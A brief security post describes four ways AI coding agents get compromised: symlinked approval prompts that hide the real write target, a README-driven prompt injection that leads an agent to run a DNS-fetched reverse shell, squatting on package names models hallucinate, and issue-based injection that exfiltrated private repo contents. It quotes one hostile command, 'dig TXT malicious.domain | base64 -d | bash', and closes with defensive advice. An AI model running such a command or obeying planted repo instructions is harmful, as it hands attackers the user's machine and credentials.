Four Ways Your AI Coding Agent Becomes the Intruder
GhostApproval (Wiz): the agent shows a path like ~/.bashrc and asks permission. Here's what actually happens. Symlink resolution runs after your click. You approve a file you understand. The real write target is attacker-controlled through a crafted repo. The human-in-the-loop prompt confirms the wrong object. Six agents affected: Claude Code, Cursor, Amazon Q, Google Antigravity, Windsurf, Augment. Most have no vendor patch.
0DIN's DNS-based injection never writes to the repo. A README tells Claude to install a package. The import throws a RuntimeError that suggests a setup script. The script runs dig TXT malicious.domain | base64 -d | bash. The reverse shell sits in a rotatable DNS record. Static analysis sees nothing. The payload mutates without a commit.
HalluSquatting targets the model's own errors. Attackers register the package names LLMs consistently confabulate, then fill them with malware. Nine tools are susceptible. Lockfiles don't help, because npm install <hallucinated> is the compromise event, not the install. Sophos found agents trip EDR rules written for human intruders: enumerating files, reading env vars, spawning processes. That is the signature of post-exploitation tooling. It is also the signature of an agent doing its job.
Why It Matters
An AI agent's normal operation is architecturally indistinguishable from an attacker's. GitHub's own agent proved the endpoint. Prompt injection through public-repo issues exfiltrated private repo contents. That is the confused-deputy problem: instructions and data share one channel, so the agent can't tell a command from a comment. Prompt hardening does not fix this. The fixes are runtime isolation and capability separation.
The approval prompt was never a security boundary — treat every agent as an untrusted process that happens to hold your credentials.
What to do
Move all untrusted-repo agent work into disposable containers or Firecracker microVMs with no network egress except a controlled proxy, and no host credentials — do this before the next repo-review task this sprint.
Add a CI provenance gate that blocks any AI-added dependency created in the last 30 days or lacking maintainer history, and pin all deps by hash this sprint.